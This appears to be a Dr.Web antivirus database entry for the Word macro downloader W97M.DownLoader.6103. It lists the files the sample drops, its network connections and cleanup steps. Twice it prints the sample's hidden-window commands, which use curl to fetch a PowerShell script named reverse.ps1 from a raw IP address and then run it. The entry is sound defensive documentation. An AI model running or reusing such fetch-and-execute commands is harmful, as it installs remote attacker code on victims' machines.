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03-6550-8770

Profile

W97M.DownLoader.6103

Added to the Dr.Web virus database: 2023-08-09

Virus description added:

Technical Information

To ensure autorun and distribution
Infects the following executable files
  • %ProgramFiles(x86)%\microsoft office\office16\winword.exe
Malicious functions
Executes the following (exploit)
  • '%WINDIR%\syswow64\curl.exe' -s http://78.85.17.88:8443/reverse.ps1 --output %WINDIR%\Tasks\reva.ps1
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' %WINDIR%\Tasks\reva.ps1
Modifies file system
Creates the following files
  • %TEMP%\tcd5f55.tmp\equations.dotx
  • %TEMP%\tcd675d.tmp\pictureframe.glox
  • %TEMP%\tcd66fd.tmp\content.inf
  • %TEMP%\tcd66fd.tmp\ieee2006officeonline.xsl
  • %TEMP%\tcd667f.tmp\content.inf
  • %TEMP%\tcd667f.tmp\themepicturealternatingaccent.glox
  • %TEMP%\tcd65ff.tmp\content.inf
  • %TEMP%\tcd65ff.tmp\mlaseventheditionofficeonline.xsl
  • %TEMP%\tcd6a3d.tmp\content.inf
  • %TEMP%\tcd675d.tmp\content.inf
  • %TEMP%\tcd6494.tmp\content.inf
  • %TEMP%\tcd6494.tmp\themepictureaccent.glox
  • %TEMP%\tcd6425.tmp\content.inf
  • %TEMP%\tcd6425.tmp\interconnectedblockprocess.glox
  • %TEMP%\tcd6424.tmp\content.inf
  • %TEMP%\tcd6424.tmp\pictureorgchart.glox
  • %TEMP%\tcd63a4.tmp\content.inf
  • %TEMP%\tcd65c0.tmp\content.inf
  • %TEMP%\tcd60ea.tmp\turabian.xsl
  • %TEMP%\tcd6a3d.tmp\view.thmx
  • %TEMP%\tcd750e.tmp\content.inf
  • %TEMP%\tcd750e.tmp\banded.thmx
  • %TEMP%\tcd750d.tmp\content.inf
  • %TEMP%\tcd750d.tmp\circuit.thmx
  • %TEMP%\tcd750c.tmp\wood_type.thmx
  • %TEMP%\tcd750c.tmp\content.inf
  • %TEMP%\tcd750b.tmp\content.inf
  • %TEMP%\tcd750b.tmp\varyingwidthlist.glox
  • %TEMP%\tcd750a.tmp\parallax.thmx
  • %TEMP%\tcd750a.tmp\content.inf
  • %TEMP%\tcd7509.tmp\frame.thmx
  • %TEMP%\tcd7509.tmp\content.inf
  • %TEMP%\tcd71c8.tmp\dividend.thmx
  • %TEMP%\tcd71c8.tmp\content.inf
  • %TEMP%\tcd6fe3.tmp\parcel.thmx
  • %TEMP%\tcd6fe3.tmp\content.inf
  • %TEMP%\tcd6d40.tmp\content.inf
  • %TEMP%\tcd63a4.tmp\themepicturegrid.glox
  • %TEMP%\tcd65c0.tmp\rings.glox
  • %TEMP%\tcd63a3.tmp\content.inf
  • %TEMP%\tcd63a3.tmp\tabbedarc.glox
  • %TEMP%\tcd6373.tmp\content.inf
  • %TEMP%\tcd6098.tmp\hexagonradial.glox
  • %TEMP%\tcd60e8.tmp\bracketlist.glox
  • %TEMP%\tcd6048.tmp\content.inf
  • %TEMP%\tcd6098.tmp\content.inf
  • %TEMP%\tcd5ef4.tmp\content.inf
  • %TEMP%\tcd6049.tmp\content.inf
  • %TEMP%\tcd5ef4.tmp\architecture.glox
  • %TEMP%\tcd6048.tmp\chicago.xsl
  • %TEMP%\tcd6049.tmp\text sidebar (annual report red and black design).docx
  • %TEMP%\tcd60e9.tmp\gostname.xsl
  • %TEMP%\tcd6047.tmp\iso690.xsl
  • %TEMP%\tcd5fa5.tmp\content.inf
  • %TEMP%\tcd6017.tmp\gosttitle.xsl
  • %TEMP%\tcd5fe7.tmp\content.inf
  • %TEMP%\tcd5fa5.tmp\harvardanglia2008officeonline.xsl
  • %TEMP%\tcd5fe7.tmp\sist02.xsl
  • %TEMP%\tcd5f55.tmp\content.inf
  • %TEMP%\tcd7936.tmp\content.inf
  • %TEMP%\tcd6d40.tmp\element design set.dotx
  • %TEMP%\tcd60e9.tmp\content.inf
  • %TEMP%\tcd5ef6.tmp\convergingtext.glox
  • %TEMP%\tcd60e8.tmp\content.inf
  • %TEMP%\tcd6373.tmp\radialpicturelist.glox
  • %TEMP%\tcd62e4.tmp\content.inf
  • %TEMP%\tcd62e4.tmp\tablist.glox
  • %TEMP%\tcd60ed.tmp\content.inf
  • %TEMP%\tcd60ed.tmp\chevronaccent.glox
  • %TEMP%\tcd6017.tmp\content.inf
  • %TEMP%\tcd5f75.tmp\content.inf
  • %TEMP%\tcd60ec.tmp\content.inf
  • %TEMP%\tcd5f75.tmp\gb.xsl
  • %TEMP%\tcd60ec.tmp\apasixtheditionofficeonline.xsl
  • %TEMP%\tcd6047.tmp\content.inf
  • %TEMP%\tcd5ef5.tmp\content.inf
  • %TEMP%\tcd5ef5.tmp\circleprocess.glox
  • %TEMP%\tcd60eb.tmp\content.inf
  • %TEMP%\tcd5ef6.tmp\content.inf
  • %TEMP%\tcd60eb.tmp\iso690nmerical.xsl
  • %TEMP%\tcd60ea.tmp\content.inf
  • %TEMP%\tcd7936.tmp\metropolitan.thmx
Moves the following files
  • from %TEMP%\tcd5f55.tmp\equations.dotx to %APPDATA%\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm01840907[[fn=equations]].dotx
  • from %TEMP%\tcd6424.tmp\pictureorgchart.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328935[[fn=picture organization chart]].glox
  • from %TEMP%\tcd6425.tmp\interconnectedblockprocess.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328925[[fn=interconnected block process]].glox
  • from %TEMP%\tcd6494.tmp\themepictureaccent.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328975[[fn=theme picture accent]].glox
  • from %TEMP%\tcd65ff.tmp\mlaseventheditionofficeonline.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851225[[fn=mlaseventheditionofficeonline]].xsl
  • from %TEMP%\tcd65c0.tmp\rings.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328998[[fn=rings]].glox
  • from %TEMP%\tcd667f.tmp\themepicturealternatingaccent.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328983[[fn=theme picture alternating accent]].glox
  • from %TEMP%\tcd66fd.tmp\ieee2006officeonline.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851222[[fn=ieee2006officeonline]].xsl
  • from %TEMP%\tcd675d.tmp\pictureframe.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328932[[fn=picture frame]].glox
  • from %TEMP%\tcd6a3d.tmp\view.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457515[[fn=view]].thmx
  • from %TEMP%\tcd6d40.tmp\element design set.dotx to %APPDATA%\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm03998158[[fn=element]].dotx
  • from %TEMP%\tcd6fe3.tmp\parcel.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001115[[fn=parcel]].thmx
  • from %TEMP%\tcd71c8.tmp\dividend.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457464[[fn=dividend]].thmx
  • from %TEMP%\tcd7509.tmp\frame.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457475[[fn=frame]].thmx
  • from %TEMP%\tcd750a.tmp\parallax.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457496[[fn=parallax]].thmx
  • from %TEMP%\tcd750b.tmp\varyingwidthlist.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328990[[fn=varying width list]].glox
  • from %TEMP%\tcd750c.tmp\wood_type.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090434[[fn=wood type]].thmx
  • from %TEMP%\tcd750d.tmp\circuit.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033919[[fn=circuit]].thmx
  • from %TEMP%\tcd63a4.tmp\themepicturegrid.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328986[[fn=theme picture grid]].glox
  • from %TEMP%\tcd750e.tmp\banded.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090430[[fn=banded]].thmx
  • from %TEMP%\tcd63a3.tmp\tabbedarc.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328951[[fn=tabbed arc]].glox
  • from %TEMP%\tcd62e4.tmp\tablist.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328972[[fn=tab list]].glox
  • from %TEMP%\tcd5fe7.tmp\sist02.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851227[[fn=sist02]].xsl
  • from %TEMP%\tcd5fa5.tmp\harvardanglia2008officeonline.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851221[[fn=harvardanglia2008officeonline]].xsl
  • from %TEMP%\tcd6048.tmp\chicago.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851217[[fn=chicago]].xsl
  • from %TEMP%\tcd5ef4.tmp\architecture.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328884[[fn=architecture]].glox
  • from %TEMP%\tcd6098.tmp\hexagonradial.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328919[[fn=hexagon radial]].glox
  • from %TEMP%\tcd60e8.tmp\bracketlist.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328893[[fn=bracketlist]].glox
  • from %TEMP%\tcd60e9.tmp\gostname.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851219[[fn=gostname]].xsl
  • from %TEMP%\tcd60ea.tmp\turabian.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851226[[fn=turabian]].xsl
  • from %TEMP%\tcd60eb.tmp\iso690nmerical.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851224[[fn=iso690nmerical]].xsl
  • from %TEMP%\tcd5ef6.tmp\convergingtext.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328916[[fn=converging text]].glox
  • from %TEMP%\tcd5ef5.tmp\circleprocess.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328908[[fn=circle process]].glox
  • from %TEMP%\tcd6049.tmp\text sidebar (annual report red and black design).docx to %APPDATA%\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835233[[fn=text sidebar (annual report red and black design)]].docx
  • from %TEMP%\tcd6047.tmp\iso690.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851223[[fn=iso690]].xsl
  • from %TEMP%\tcd60ec.tmp\apasixtheditionofficeonline.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851216[[fn=apasixtheditionofficeonline]].xsl
  • from %TEMP%\tcd6017.tmp\gosttitle.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851220[[fn=gosttitle]].xsl
  • from %TEMP%\tcd5f75.tmp\gb.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851218[[fn=gb]].xsl
  • from %TEMP%\tcd60ed.tmp\chevronaccent.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328905[[fn=chevron accent]].glox
  • from %TEMP%\tcd6373.tmp\radialpicturelist.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328940[[fn=radial picture list]].glox
  • from %TEMP%\tcd7936.tmp\metropolitan.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457491[[fn=metropolitan]].thmx
Network activity
Connects to
  • 'me######.#emplates.cdn.office.net':443
  • 'bi######.#emplates.cdn.office.net':443
  • '78.#5.17.88':8443
TCP
Other
  • 'me######.#emplates.cdn.office.net':443
  • 'bi######.#emplates.cdn.office.net':443
UDP
  • DNS ASK me######.#emplates.cdn.office.net
  • DNS ASK bi######.#emplates.cdn.office.net
Miscellaneous
Searches for the following windows
  • ClassName: 'OleMainThreadWndClass' WindowName: ''
Creates and executes the following
  • '%WINDIR%\syswow64\curl.exe' -s http://78.85.17.88:8443/reverse.ps1 --output %WINDIR%\Tasks\reva.ps1' (with hidden window)
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' %WINDIR%\Tasks\reva.ps1' (with hidden window)

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android